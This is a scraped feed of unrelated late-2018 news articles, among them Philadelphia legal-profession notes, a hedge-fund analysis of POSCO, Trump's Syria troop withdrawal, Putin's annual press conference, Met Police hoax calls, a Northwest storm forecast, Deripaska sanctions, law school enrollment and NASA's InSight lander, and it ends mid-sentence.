Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Susan Lin presents Mark E. Cedrone and Joseph D. Mancano with the Annual Beccaria Award. Honored Cedrone-Mancano founding members Mark E. Cedrone and Joseph D. Mancano were recently presented with the Annual Beccaria Award by the Justinian Society of Philadelphia and Philadelphia Bar Associations criminal justice section. The award recognizes their contribution to the cause of justice and the advancement of legal education. The award was presented at a reception in City Hall on Nov. 28 by Susan Lin, an officer of the criminal justice section of the Philadelphia Bar Association. Speakers Stradley Ronon Stevens & Young partner Andrew K. Stutzman moderated a keynote panel at the Pennsylvania Bar Institutes real estate institute Dec. 7 in Philadelphia. Stutzman moderated the panel, which discussed the years most significant case law, current legislation, practice fundamentals, trends and strategies. The panel included representatives from the United States Attorneys Office, the Pennsylvania Attorney Generals Office and other leading practitioners. Stutzman is a Philadelphia trial lawyer who founded the financial services litigation practice at Stradley Ronon. He resolves complex disputes through litigation, especially finance-related matters. Stutzman has tried civil cases in many state, federal and ADR courts throughout his career and assisted in the defense of government investigations and criminal proceedings. ***** Hamburg, Rubin, Mullin, Maxwell & Lupins William G. Roark guest lectured at Temple University's Beasley School of Law, where he addressed the law schools "Drug Law: Policy & Practice" class offering students insight on the benefits and pitfalls of practicing in an emerging legal market, while focusing on the specific issues facing lawyers who represent individuals and businesses in the medical marijuana industry. Roark is a principal of Hamburg Rubin and chair of the firms medical marijuana practice. He represents individuals and businesses in the medical marijuana industry by helping them comply with Pennsylvanias Medical Marijuana Act. He helps clients to understand the permitting application process and the requirements associated with entering this industry. He currently serves as co-chair of the Pennsylvania Bar Associations medical marijuana and hemp law committee. Story continues Announcements The Legal and Pennsylvania Law Weekly are looking for verdicts and settlements to report. If youre a plaintiffs or defense attorney who has obtained a verdict or settlement in Pennsylvania county or federal court recently, email Zack Needles at zneedles@alm.com. Piers Morgan has hit out at former First Lady Michelle Obama for allegedly snubbing her successor, Melania Trump. In a column written for the MailOnline, Piers, 53, accuses former US President Barack Obamas wife of bitchy sniping aimed at the present First Lady. He claims Michelle, 54, has snubbed Melania, 48, on numerous occasions while doing publicity for her new book, Becoming, on the Jimmy Fallon television show. Just when I thought there was one person in public life that soared effortlessly and admirably above the incessantly ugly partisan trash-talk that pervades every second of American airspace these days, Mrs Obama has let me down, writes the controversial journalist and Good Morning Britain presenter. Piers Morgan has criticised Michelle Obama for apparently taking swipes at Melania Trump. [Photo: Getty] Piers referenced a conversation between Jimmy and Michelle where the latter said the phrase Bye Felicia in relation to leaving the White House. He explains in the column: The phrase Bye Felicia is an intensely derogatory one. It was first coined by rapper Ice Cubes character Craig in the 1995 cult stoner comedy movie, Friday. He continues: The phrase is now widely used, especially on social media, as an ice cold kiss off for unpleasant people who you want to avoid. While it is not clear who Obama is referring to Melania, her husband or both Piers insists the similar phonetic name is meant to be a direct swipe at the First Lady. He also referenced a comment Michelle made about the Tiffany photo frame given to her by Melania on Donalds inauguration day, where she said: Then the Tiffanys box... Click below to see First Lady Melania Trumps most notable outfits: Later in the column, Piers delivers his verdict on the alleged spat: Its no secret that Michelle and Melania dont get on, but there is no reason they have to. Their apparent mutual dislike doesnt mean they should openly criticise each other, particularly as a tool to sell books and make money. Yet Michelle hasnt stopped sniping at Melania for the past few weeks during her huge media tour. Story continues While it is certainly questionable whether or not Michelle was trash-talking her successor, the mum-of-two has opened up considerably during her book tour. Last month she revealed during an interview with Good Morning America, the Obamas, like many other couples, went through counselling at one point during their marriage. She told interviewer Robin Roberts: I know too many young couples who struggle and think theres something wrong with them and I want them to know that Michelle and Barack Obama, who have a phenomenal marriage and love each other, we work on our marriage. Follow us on Instagram and Facebook for non-stop inspiration delivered fresh to your feed, every day. For Twitter updates, follow @YahooStyleUK. Read more from Yahoo Style UK: Michelle Obamas advice to Meghan Markle: Take some time Michelle Obama gave her real opinion about lean in and a swear word was involved I felt lost and alone: Michelle Obama opens up about fertility struggles in new memoir Reputable billionaire investors such as Nelson Peltz and David Tepper generate exorbitant profits for their wealthy accredited investors (a minimum of $1 million in investable assets would be required to invest in a hedge fund and most successful hedge funds won't accept your savings unless you commit at least $5 million) by pinpointing winning small-cap stocks. There is little or no publicly-available information at all on some of these small companies, which makes it hard for an individual investor to pin down a winner within the small-cap space. However, hedge funds and other big asset managers can do the due diligence and analysis for you instead, thanks to their highly-skilled research teams and vast resources to conduct an appropriate evaluation process. Looking for potential winners within the small-cap galaxy of stocks? We believe following the smart money is a good starting point. POSCO (NYSE:PKX) shares haven't seen a lot of action during the third quarter. Overall, hedge fund sentiment was unchanged. The stock was in 14 hedge funds' portfolios at the end of September. At the end of this article we will also compare PKX to other stocks including Wisconsin Energy Group, Inc. (NYSE:WEC), Waste Connections, Inc. (NYSE:WCN), and Hormel Foods Corporation (NYSE:HRL) to get a better sense of its popularity. Why do we pay any attention at all to hedge fund sentiment? Our research has shown that hedge funds' large-cap stock picks indeed failed to beat the market between 1999 and 2016. However, we were able to identify in advance a select group of hedge fund holdings that outperformed the market by 18 percentage points since May 2014 through December 3, 2018 (see the details here). We were also able to identify in advance a select group of hedge fund holdings that'll significantly underperform the market. We have been tracking and sharing the list of these stocks since February 2017 and they lost 24% through December 3, 2018. That's why we believe hedge fund sentiment is an extremely useful indicator that investors should pay attention to. Story continues Prem Watsa, Fairfax Financial Holdings We're going to analyze the fresh hedge fund action encompassing POSCO (NYSE:PKX). Hedge fund activity in POSCO (NYSE:PKX) At Q3's end, a total of 14 of the hedge funds tracked by Insider Monkey were long this stock, representing no change from the second quarter of 2018. By comparison, 16 hedge funds held shares or bullish call options in PKX heading into this year. With hedge funds' positions undergoing their usual ebb and flow, there exists an "upper tier" of notable hedge fund managers who were increasing their holdings meaningfully (or already accumulated large positions) No of Hedge Funds with PKX Positions More specifically, Arrowstreet Capital was the largest shareholder of POSCO (NYSE:PKX), with a stake worth $72.7 million reported as of the end of September. Trailing Arrowstreet Capital was LMR Partners, which amassed a stake valued at $38 million. Fairfax Financial Holdings, Pzena Investment Management, and Segantii Capital were also very fond of the stock, giving the stock large weights in their portfolios. Seeing as POSCO (NYSE:PKX) has witnessed a decline in interest from the smart money, we can see that there was a specific group of hedgies that slashed their full holdings in the third quarter. Interestingly, John Horseman's Horseman Capital Management dumped the biggest position of all the hedgies monitored by Insider Monkey, comprising close to $23.5 million in call options, and Matthew Hulsizer's PEAK6 Capital Management was right behind this move, as the fund dropped about $0.8 million worth. These bearish behaviors are important to note, as total hedge fund interest stayed the same (this is a bearish signal in our experience). Let's now take a look at hedge fund activity in other stocks - not necessarily in the same industry as POSCO (NYSE:PKX) but similarly valued. We will take a look at Wisconsin Energy Group, Inc. (NYSE:WEC), Waste Connections, Inc. (NYSE:WCN), Hormel Foods Corporation (NYSE:HRL), and Ameriprise Financial, Inc. (NYSE:AMP). This group of stocks' market valuations match PKX's market valuation. [table] Ticker, No of HFs with positions, Total Value of HF Positions (x1000), Change in HF Position WEC,19,357766,4 WCN,30,1002797,-4 HRL,12,66675,-1 AMP,33,1293396,3 Average,23.5,680159,0.5 [/table] View table here if you experience formatting issues. As you can see these stocks had an average of 23.5 hedge funds with bullish positions and the average amount invested in these stocks was $680 million. That figure was $158 million in PKX's case. Ameriprise Financial, Inc. (NYSE:AMP) is the most popular stock in this table. On the other hand Hormel Foods Corporation (NYSE:HRL) is the least popular one with only 12 bullish hedge fund positions. POSCO (NYSE:PKX) is not the least popular stock in this group but hedge fund interest is still below average. This is a slightly negative signal and we'd rather spend our time researching stocks that hedge funds are piling on. In this regard AMP might be a better candidate to consider a long position. Disclosure: None. This article was originally published at Insider Monkey. Related Content WASHINGTON President Donald Trump used Twitter on Thursday to defend his decision to withdraw U.S. troops from Syria, a move made over the objections of defense officials and a bipartisan group of congressional lawmakers. "Getting out of Syria was no surprise," Trump said in one post. "Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer." Now, however, he said it is "time to come home & rebuild." Members of Congress, however, disputed Trump's contention that the Islamic State terrorist group known as ISIS has been totally defeated and said they would regroup after the U.S. withdraws the 2,000 or so troops it has now in Syria. Critics also said Trump's decision guarantees that Bashar al Assad of Syria remains in power, benefiting Iran and strengthening Russia's foothold in the Middle East; they also said it would leave Kurdish allies vulnerable to reprisals from ISIS. Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA Donald J. Trump (@realDonaldTrump) December 20, 2018 An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia," said Sen. Lindsey Graham, R-S.C., an ally of Trump. He branded Trump's declaration that ISIS has been defeated as "fake news." Graham said premature troop withdrawals in Iraq and Afghanistan created problems; he also invoked Trump's least favorite political leader, Barack Obama, in tweeting that withdrawal of this small American force in Syria would be a huge Obama-like mistake." Story continues Russian President Vladimir Putin welcomed news of the U.S. withdrawal from Syria, an idea he has long supported. Trump and Putin discussed Syria during their high profile summit in Helsinki this past July. President Donald Trump "The U.S. is there without backing from the United Nations or an invitation from the Syrian government," Putin told reporters at a news conference Thursday. "Russia is there at the invitation of the Syrian government." Trump also discussed Syria in a phone call last week with Turkey President Recep Tayyip Erdogan, who has targeted Kurdish fighters he regards as terrorists. Critics described the withdrawal as a gift to Russia and Turkey. Sen. Marco Rubio, R-Fla., said "the decision to pull out of Syria was made despite overwhelming military advice against it." Democrats also protested. Sen. Jeanne Shaheen, D-N.H., said "an ill-informed and hasty withdrawal of troops will not only breathe new life into ISIS and other terrorist groups, but it will also cede Americas hard-fought gains in the region to Russia, Iran and Assad." U.S. military leaders, including Defense Secretary Jim Mattis, have spoken frequently of the need for U.S. troops to remain in the eastern part of Syria to help stabilize it and allow for peace negotiations to proceed. There is not yet a timetable for the withdrawal of the approximately 2,000 U.S. troops in Syria. In his tweet storm, Trump said: "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing?" The president claimed that "Russia, Iran, Syria & many others are not happy about the U.S. leaving" because "now they will have to fight ISIS and others, who they hate, without us." If ISIS "hits" the U.S., he said, "they are doomed." But officials in those countries Trump named applauded news of the U.S. withdrawal. "If the U.S. has decided to withdraw," Putin said, "that's good." This article originally appeared on USA TODAY: President Trump defends pulling U.S. troops out of Syria after bipartisan backlash Ruling party leaders say hosting Asia Pacific Summit was a mistake Ruling party leaders have taken strong exception to the KP Oli governments involvement in the Asia Pacific Summit that was hosted in Kathmandu from November 30 at the ongoing Standing Committee meeting of the Nepal Communist Party (NCP). Journalists have made signs to grab the Russian leader's attention - TASS Vladimir Putin called for an end to the deadlock in UK-Russia relations during his massive annual press conference. "In my mind, UK-Russian relations are at a dead end and it's in the interests of both sides to get out of this dead end," the Russian President said at a gathering known for pageantry and colourful quotes. He added that the UK was Russia's top direct investor last year, putting 22bn into the country. Although he had not discussed partnerships with Theresa May, Mr Putin said that business communities in both countries were holding productive talks. The President also advised the UK should go through with Brexit, saying that "otherwise it wasn't really a referendum." However, Mr Putin, whose approval ratings have fallen after a turbulent year, skirted the single question asked about Russia's role in the poisoning of Sergei Skripal. He termed the story propaganda, and was not pressed to explain why he had called the suspects in the Salisbury poisoning civilians, after documents and interviews with neighbours showed the pair to belong to military intelligence. Asked about America's withdrawal from Syria, Mr Putin welcomed the announcement. "Let's not forget, the presence of your troops there is illegitimate," he said. More than 1,700 journalists were accredited to attend what state television called the main media event of the year. This number was a new record, as it is most years. 12:57PM Press conference ends with no mention of Skripal suspects In nearly four hours of questions, Putin failed to address the Skripal suspects' identities, who he previously claimed were civilians but have since been shown to be military intelligence. He only took one question about Salisbury and that was a softball from RT 11:50AM Russian leader denies links to 'Putin's chef' and mercenaries When asked about the Wagner mercenaries and their patron Yevgeny Prigozhin, who is known as Putin's chef for serving the president during state dinners, the Russian leader insisted he had nothing to do with them. Mr Prigozhin has been sanctioned for interfering in the US election with his troll factory and was recently filmed taking part in a meeting between Russian military chiefs and Libyan military leader Khalifa Haftar. Story continues All my chefs are in the federal guard service, they are from the military. I don't have any other chefs, he said. As for Wagner, if they're not violating Russian law, they have the right to sell their services anywhere on the planet, he said. Three journalists were killed while investigating the Russian mercenaries' presence in the Central African Republic in July. Mr Putin distanced himself from their killing, saying they had entered the country under the guise of tourists and were assassinated by local groups. 11:29AM UK-Russia relations at 'dead end,' but trade increasing despite Brexit Mr Putin said he spoke with Theresa May on the sidelines of the G20 summit in Argentina, and argued that Russia's trade with Britain was increasing in spite of Brexit. We greeted each other and spoke a few words to each other, Mr Putin said. In my mind, UK-Russian relations are at a dead end and it's in the interests of both sides to get out of this dead end. As for the effects of Brexit, I think it's minimal, but it will influence the world economy and us indirectly. Mr Putin, whose troll factory was found to have put out pro-Brexit tweets on the day of the vote, said the UK should go through with Brexit, otherwise it wasn't really a referendum. The UK invested $22 billion in Russia this year, making it the top direct investor, he added. It's their affair, but in any case they're interested in markets, in partnerships, he said. I didn't talk about this with the prime minister, but we are talking about this with our friends and colleagues from Great Britain, especially in the business sphere. 11:04AM When will the Russian president remarry? And finally the question that's been on everyone's mind: When will Putin get remarried and to whom? The Russian leader, who is so protective of his private life that his daughters' identities were unknown until recently, divorced his wife in 2013. "He's married and he wants me to be too," Putin joked about the journalist who asked the question. Alas, he gave no straight answer: "As an orderly person I should do this at some point." 10:50AM Putin praises Trump's decision to withdraw 'illegitimate' from Syria In this Donald is right, I agree with him, Mr Putin said when asked about Mr Trump's statement that Isil had been defeated. As for US troops in Syria, I don't think they're needed, let's not forget that presence of your troops there is illegitimate, he added. They're there without a United Nations decision or an invitation from the Syrian government. We are there at the invitation of the Syrian government, so if the United States has decided to withdraw its contingent, that's good. 10:39AM 'No reason' for the US to imprison Butina Mr Putin said there was no reason for the United States to imprison Maria Butina, who admitted this week to acting as a Russian agent when she helped make connections with conservative activists and politicians, including Donald Trump Jr. I can say for sure that she didn't execute any state tasks, whatever she may have said under the threat of 12 to 15 years in prison, he said. I don't understand why they imprisoned her, there was no reason. We'll see how it ends. We are not indifferent to this. 10:28AM Putin fails to address real identities of Salisbury suspects How to dodge a question. Russia Today asked Putin about the Skripal case, but didn't mention the suspects accused of the Salisbury poisoning. The president previously claimed they were civilians, but documents and former neighbours have indicated they were in military intelligence. This is a politicised Russophobic approach, it's just an excuse to organise another attack on Russia, if weren't the Skripals I'm sure they would have thought up something else to contain Russia's' development, Mr Putin responded and moved on without addressing his dubious previous claim. 10:08AM No plans for exchanging captured Ukrainian sailors Mr Putin said there were currently no plans for a prisoner exchange for the Ukrainian sailors captured in the Kerch strait last month. Kiev's intermediary Viktor Medvedchuk came to Moscow recently and asked about the possibility of freeing them. "I said this question can't be decided until the criminal case against them is brought to an end, he said. Mr Putin blasted Washington for its intention to withdraw from the intermediate nuclear forces treaty and warned that another key arms agreement with the United States would come to an end in 2021. Russia has been forced to develop new nuclear weapons that don't exist elsewhere in the world to preserve strategic parity, he said. We will survive, we will guarantee our security, but for humanity this is very bad. It brings us closer to the edge, he said. He also slammed the development of tactical warheads in the West as a tendency for nuclear threshold to be lowered. 9:42AM Putin calls on Russia to boost growth Focusing on Russia's economy, which until recently was in recession due to low oil prices and sanctions, Mr Putin has said GDP growth this year will be 1.72 per cent. He called on Russia to enter a new league and become the fifth-largest economy in the world, an achievable goal. It is currently outside the top 10. 9:18AM Press conference begins Journalists are competing to get Mr Putin's attention by holding up eye-catching home-made signs. It's the Putin press conference, where Russia's top journalists test their mettle to see who can make the most eye-catching placard pic.twitter.com/swyeH4xbSl Alec Luhn (@ASLuhn) December 20, 2018 The editor of The Insider, a publication that participated in the initial investigations to uncover Chepiga and Mishkin's real names, was not allowed into the press conference despite having been accredited. Police have revealed some of the biggest time-wasting 999 calls of 2018 (PXHere) Despite public services messages every year, members of the public are still dialling 999 for ridiculous reasons. The Metropolitan Police have revealed just some of the time-wasting calls made to emergency services in 2018 potentially putting other lives in danger in what could be life or death situations. Among the unnecessary calls made to police this year are people complaining about missing food, arguments between motorists and annoying bus drivers. One caller dialled 999 to say a pub had not served his breakfast quickly enough (Getty/stock photo) Between 1 January and 30 November 2018, the Mets Command and Control call centre took more than two million calls. During that same period, the Met recorded 21,733 calls as hoax calls to the 999 number. The worst of the worst are: On New Years Day, a woman called police to wish them a Happy New Year. On 10 March, a female called police to demand that a female taxi driver come and pick her up. On 21 March, a member of the public phoned up because a fast-food restaurant had run out of chicken. On 6 July, a male caller phoned to tell the call handler that a bus driver had shut the door in his face, when in fact the bus had broken down and no one was allowed on board. On 19 September, a man called 999 to report that his breakfast had not been served quick enough at a central London pub. On 19 November, a male driver called police to tell them that he had been having an argument with a female driver about who had the right of way. On 25 November, a female member of the public called police to report that her bus driver had been whistling throughout her journey. Chief Superintendent David Jackson, who is in charge of call handling for the Met, warned that the calls could put lives in jeopardy. MORE: Passengers grounded as Gatwick Airport suspends all flights after drones spotted flying close to runways MORE: Burglar faces jail term after admitting breaking into funeral home and having sex with a corpse He said: Whilst some people will find these calls funny, they take away police resources at a time that police numbers and funding are stretched, and we must continue to make savings across the service. Story continues During the time that our call handlers are dealing with these time-wasting calls, a member of the public could be in real danger or have built up the confidence to call with an important piece of information that could take a dangerous person off the streets. Imagine if one of your friends or loved ones was in need of the police as quickly as possible and it turned out we could not help because we were having to deal with one of these hoax calls Im sure that you, like us, would be devastated and extremely annoyed. A member of the public phoned up because KFC had run out of chicken (Public Domain Pictures/stock photo) He added: Whilst we do not want to deter or scare people from calling us, we must remind you that the use of the 999 system is for emergencies only. If you need the police, and it is not an emergency, please call 101. Alternatively, all crime, anti-social behaviour and other incidents can now be reported online 24/7 via our website We also have a Twitter account, @MetCC, which people can tweet any non-emergency enquiries to 24/7. The stormy pattern continues for the Northwest as more rain and snow will arrive over the weekend, which could further disrupt holiday travel. Heavy rain over the past weeks has already led to travel impacts. On Tuesday, heavy rain contributed to a mudslide that closed part of Washington's Route 109 and later spawned a tornado along the Washington coast. Following another wave of wet weather Thursday, rain, snow and wind will return on Saturday and continue through the weekend. Winds with this system are expected to lessen compared to previous storms; however, gusts to 40 mph will still be possible, especially in the higher elevations and along the Washington and Oregon coasts. A wind gust of 111 mph was recorded on Mt. Baker on Thursday afternoon, according to the National Weather Service. These wind gusts have contributed with power outages across the region with over 55,000 outages in northwestern Washington on Thursday afternoon. WeekendNWStorm Despite less wind with this storm, wind speeds will be high enough to produce rough seas and surf. Pounding waves can also further attribute to coastal flooding and beach erosion. Waves of heavy rain will reach the coastal parts of Washington and Oregon. Rain could be heavy enough at times that downpours could reduce visibility. This would cause difficult travel for those driving along I-5 anywhere from Seattle to Medford. Meanwhile, precipitation will fall as snow in the Cascades. This storm will bring cooler air than the last few systems. Because of this, there will be a noticeable drop in snow levels in the mountains. "Snow levels are expected to drop in the Washington Cascades to around 1,500 feet Saturday night or early Sunday morning," said AccuWeather Senior Meteorologist Kristina Pydynowski. This means that passes such as Snoqualmie and Stevens Pass are likely to get accumulating snowfall during this time. Farther south, snow levels will be higher, keeping the accumulating snow out of the passes across much of the Cascades in Oregon. Story continues Download the free AccuWeather app to see how much snow is expected for your area. As the storm moves eastward Saturday night and Sunday, the effects of the storm will spread to interior parts of the Northwest. "Cold air will be more locked in place the farther inland you go," Pydynowski added. This means that along Interstate 84, in the higher terrain of northeastern Oregon, could receive snow. Snow will also mix with rain across the Snake River Valley in southern Idaho, including in the city of Boise. Primarily snow will fall across the higher elevations across central Idaho and into western Montana. Additional snow will help ensure the chances of a white Christmas in the northern Rocky Mountains. Just as the storm starts to let up Sunday night, another storm will arrive from the Pacific Ocean. This time, however, the storm track will be farther south. WesternPattern Instead of moving mostly west to east across Oregon and Washington, the storm early next week will enter the U.S. closer to the the Oregon-California border and dive southward. Not only will this keep some of the steadier precipitation out of the Washington, but it will also draw colder air from Canada across the Northwest, allowing even more snow to fall in the interior parts of Oregon. This new system is likely to spread rain and snow through much of Nevada and California in time for the Christmas holiday. Some weaker waves of light rain and snow could follow for the rest of next week. Forecaster Challenge News Story Banner Click the above photo to test your weather prediction skills with Forecaster Challenge. Credit: Ludmila Ruzickova/Shutterstock.com According to the most current statistics, lawyers have a shockingly high rate of depression: 28 percent of lawyers admit to suffering from depression, compared with 8 percent of the general population. So its hardly surprising that we, as a profession, need to take advantage of every opportunity to lighten up and allow a bit of levity into our lives. And with all of the offbeat moments that our legal system offers on a regular basis, sources of amusement are never far away. For example, take the lawyers for In-N-Out Burger. Rather than sending a traditionally boring cease-and-desist letter when faced with Seven Stills Brewery & Distillerys potential infringing In-N-Stout beer, the intrepid fast food lawyers had a little fun with their letter. Their pun-filled cease-and-desist correspondence to the craft brewers showed that lawyers could be crafty, too, as they explained the need to hop to action to prevent further trademark issues from brewing. Pointing out that improper use of In-N-Outs marks ales us, the franchises lawyers sought to instill our rights by crafting an amicable approach with you, rather than barrel through this. They added the hope that the parties legal differences wouldnt continue to ferment, and looked forward to resolving this in good spirits. The burger chains letter quickly went viral and the resulting publicity highlighted the peaceful resolution of the dispute. Ill drink to that. Sometimes, ones surroundings play a part in the motions one gets to file. I doubt that any Texas lawyer will ever have occasion to file a Motion for Continuance Due to Moose Attack, for example, but lawyers in Maine (where the moose population exceeds 70,000) like John Steed may need to keep such pleadings handy. After his client was charged and knocked into a tree by a moose while riding a snowmobile, Steed filed the motion because his client was too injured to adequately participate in his defense. Hearing no objection from the DA, the judge granted the motion, which Steed now refers to as basically the highlight of my legal career. The criminal justice system is an endless source of unintentional hilarity. Sometimes, all it takes is the right headline, like this August 2018 Associated Press description of how a knife-wielding suspect in New York who jumped from a freezer was linked to long-unsolved murders in Boston: Man Who Jumped Out of Freezer and Died was Cold-Case Suspect. For other criminal episodes, its the mental images conjured up by the stories that makes me laugh. In April 2018, 23 year-old John Owen Casford of New Zealand decided to break into the Wellington Zoo. But he was set upon by the occupants of the squirrel monkey exhibit, and it did not end well for Casford, as Wellington District Judge Bill Hastings later noted when passing sentence over the would-be thief for breaking and entering. Judge Hastings admonished Casford: I do not know what happened in the squirrel monkey enclosure. The squirrel monkeys know . . . and I dont speak squirrel. What I know is that by daybreak all the monkeys were distressed, two of them were injured, and you had a broken leg, two broken teeth, a sprained ankle, and bruises on your back. Casford pled guilty and was sentenced to two years and seven months in prison, where Im sure hell be haunted by visions of tiny, fierce primates for a long time. And crime also didnt pay for burglars who hit a Roanoke County, Virginia, shoe store in August 2018, only to make off with a haul of right shoes only. Those burglars should be easy to spot, and they probably wont get too far on two right feet, either. Another less than bright move was appellant Jeffery Schirripas attempt to get the United States Court of Appeals for the Federal Circuit to grant his petition for en banc rehearing. Schirripa asked the Court to enjoin the U.S. government from enforcing the Controlled Substances Act in his case, but it was what he attached to his petition that got the Courts attention: cannabis, attached to all of the 18 documents he filed. Since this was not what the Court had in mind by weeding out unmeritorious appeals, it turned over the pleadings and their attachments to the U.S. Marshals Service for appropriate disposition or alternate action. While I give Mr. Schirripa an A for effort in taking his appeal to a higher court, Im afraid that his case has gone up in smoke. Justices Cheech and Chong are free to dissent. And finally in the department of Weve Seen Everything Else, 69 year-old Dutch disc jockey Emile Ratelband has gone to court seeking to legally change his age to make himself 20 years younger. Likening it to a name change or gender change, Ratelband says he wants to legally change his date of birth from March 11, 1949 to March 11, 1969 to improve his job prospects as well as his chances on dating apps like Tinder. Ratelband says he identifies as a person in his 40s, and insists he has the body of a young god to match. Theres been no word yet on the response from the Netherlands court, but if I were you, Emile, I wouldnt throw out all those extra birthday candles just yet. Age might seem like nothing but a number, but your body will provide plenty of reminders of your true age. Chances are, youre more likely to break a hip than break any hearts. John G. Browning is a shareholder at Passman & Jones in Dallas, where he handles a wide variety of civil litigation in state and federal courts. Mr Deripaska during a television interview at hte 2013 World Economic Forum - Bloomberg News Oleg Deripaska, the Russian oligarch, was yesterday accused by the United States of working with a former Kremlin intelligence officer to interfere in Montenegros 2016 elections. The US Treasury announced sanctions against Victor Alekseyevich Boyarkin, once a member of Russias GRU military intelligence agency but now working for Mr Deripaska, according to the department. The Treasury said that Mr Boyarkin reported directly to Deripaska and has led business negotiations on Deripaskas behalf. It added: Deripaska and Boyarkin were involved in providing Russian financial support to a Montenegrin political party ahead of Montenegros 2016 elections. That election, it has been alleged, featured an assassination attempt on the countrys prime minister by the pro-Russian opposition to stop its accession to Nato. Russia has denied involvement, and it is not suggested Mr Deripaska or Mr Boyarkin were involved in the attempt. The plot, reported extensively by The Daily Telegraph last year, has become a focal point for Western fears about Russian election meddling and led to legal action being taken against leaders of the Montenegrin opposition and two Russian nationals. Mr Deripaska at the World Economic Forum Credit: Reuters Mr Deripaska is one of Russias best-known businessmen and was head of the aluminium companies EN+ and Rusal until earlier this year. He is a well-known figure in London where he floated EN+, raising more than 1 billion, and is believed to own several properties. He once had links at the top of British politics, infamously hosting Lord Mandelson and George Osborne on his yacht in 2008. The US action is likely to increase pressure on Theresa May, the Prime Minister, who has vowed to take action against Russian oligarchs in the UK in the wake of the Skripal poisoning. The Telegraph reported earlier this month that Mr Deripaska was on a list of Russians to be targeted by British intelligence in a campaign to disrupt Vladimir Putin. This newspaper has previously asked about links between Mr Deripaskas company Rusal and the former GRU officer. A spokesman for the company said at the time that Mr Boyarkin was no longer a Rusal employee. Story continues The US Treasury sanctioned Mr Deripaska in April 2016, claiming he acted or purported to act for a senior official in the Russian government. It also took action against EN+. Russian President Vladimir Putin (L), Nizhny Novgorod region Governor Valeriy Shantsev (C) and billionaire Oleg Deripaska (R) examine a new Gazon Next vehicle Credit: Getty Images Europe Yesterday, the department announced that it would be dropping sanctions against three companies linked to Mr Deripaska: En+, Rusal and JSC EuroSibEnergo. Steven Mnuchin, the US Treasury secretary, said: Treasury sanctioned these companies because of their ownership and control by sanctioned Russian oligarch Oleg Deripaska, not for the conduct of the companies themselves. These companies have committed to significantly diminish Deripaskas ownership and sever his control. The companies will be subject to ongoing compliance and will face severe consequences if they fail to comply. The action was taken following fierce lobbying in Washington DC led in part by Lord Barker of Battle, the former Tory climate change minister who is chairman of EN+. Mr Deripaskas agreement with the US Treasury department includes cutting his direct and indirect share ownership below 50 per cent in each company and overhauling the boards of En+ and Rusal. The sanctions spooked the energy markets, with Rusal seeing its value plummet since being targeted. Congress could yet block the Treasurys lifting of sanctions and has 30 days in which to call a vote. At the same time as lifting the sanctions on Mr Deripaskas companies, the US Treasury imposed punishments on several new Russian figures. They included Russian military intelligence operatives over the US election meddling, and Mr Boyarkin, who will have any assets in US financial institutions frozen. Banks dealing in dollars or companies trading in the US will also not be allowed to work with Mr Boyarkin. The Treasury cited an executive order which takes action against those working on behalf of senior Russian government officials in justifying its move. Donald Trump joined Britain in expelling Russian diplomats over the Skripal incident but has repeatedly appeared reluctant to publicly criticise the Russian president, though his administration has pushed ahead with sanctions. The alleged coup plot during Montenegros elections in 2016 remains, in the eyes of Kremlin critics, one of the most shocking examples of Russian election meddling. Members of the pro-Russian Montenegrin opposition were accused of planning with factions close to the Kremlin an attack on the countrys parliament and trying to kill Milo Djukanovic, the prime minister. It was seen as a last ditch attempt to stop Montenegro joining Nato. The plot was foiled and its alleged leaders put on trial. Montenegro went on to join Nato. This newspaper approached representatives at En+, Rusal and JSC EuroSibEnergo for a comment from Mr Deripaska or Mr Boyarkin but did not receive a response. New student enrollment at the nations law schools increased 3 percent this fall, according to figures released by the American Bar Association, and New Jersey's two law schools are part of the trend. It's the first measurable increase in the size of the first-year class since 2010when new enrollment peaked at more than 52,000. The number of new law students at ABA-accredited law schools fell 29 percent between 2010 and 2015, before leveling off at about 37,000 for the next three years. This fall, 38,390 new students showed up on campus, which is 1,070 more than the previous year, according to the figures release on Dec. 14. At Rugers Law School, 2018 first-year enrollment increased 17.87 percent over 2017, to 409 from 347, according to the ABA. At Seton Hall University School of Law, it was a 24.87 percent year-over-year increase, to 246 from 197. Those appear to be among the better gains: of the roughly 200 listed schools, less than one-fifth of them had enrollment gains of 17 percent or higher, according to the figures. More than half of schools122reported an increase in the size of their first-year class, while 81 schools told the ABA that their 1L class is smaller than in 2017. The New Jersey schools didn't respond to request for comment. The boost is welcome news for legal academics, who for years have hoped in vain for a turnaround in legal educations fortunes. Waning interest in a law degree forced many schools to reduce the size of their faculties and make other cutbacks. Five schools have closed in recent years or will soon shut down. The 3-percent increase in new law students this year isnt unexpected. Applicants to law school surged 8 percent last year, according to the Law School Admission Council, fueling speculation that law school is once again a hot ticket. The Trump administration and discord in Washington are contributing to the added interest in legal education, according to deans and admissions officers. Some schools appear to have utilized the larger applicant pool as an opportunity to be more selective about the students they admit, said Jerome Organ, a professor at the University of St. Thomas School of Law who studies enrollment trends. Put another way, schools opted to admit fewer students than they could have, given the increase in applicants in order to bring in classes with higher Law School Admission Test scores and undergraduate grades, he said. Still, the boost in applicants caught some law schools by surprise. Some ended up with larger 1L classes than intended, which is a reversal from the days when admissions offices were scrambling to fill up seats. Its not just J.D. programs that gained in popularity this year. Enrollment in non-J.D. programs, which includes LL.M. and masters programs, grew more than eight percent from 2017. Washington (AFP) - After safely landing on Mars following its nearly seven month journey, NASA has released the first pictures taken by its InSight spacecraft, which has opened it solar arrays to charge batteries. The $993 million lander, which landed on Monday and appears to be in good shape, will soon begin unfolding its robotic arm and deploying its quake-sensors on the Martian surface. NASA engineers are planning to begin work with its robotic arm soon, but are proceeding with caution. The arm has five mechanical fingers to help it lift out and place its two instruments on Martian soil in the coming few months. "Slowly releasing all my pent-up tension, starting with loosening my grapple, as these before-and-after pics show," said the NASAInSight Twitter account. "Until I'm ready to stretch my arm out, my camera angles will be the same." InSight is equipped with two full-color cameras and has already sent back six shots since touching down. The waist-high spacecraft will stay in place for the two-year duration of its mission. NASA has not said anything about the condition of the other instruments on board, which include a French-made seismometer to study Marsquakes and a German self-hammering mole to measure heat's escape from the planet. NASA did say 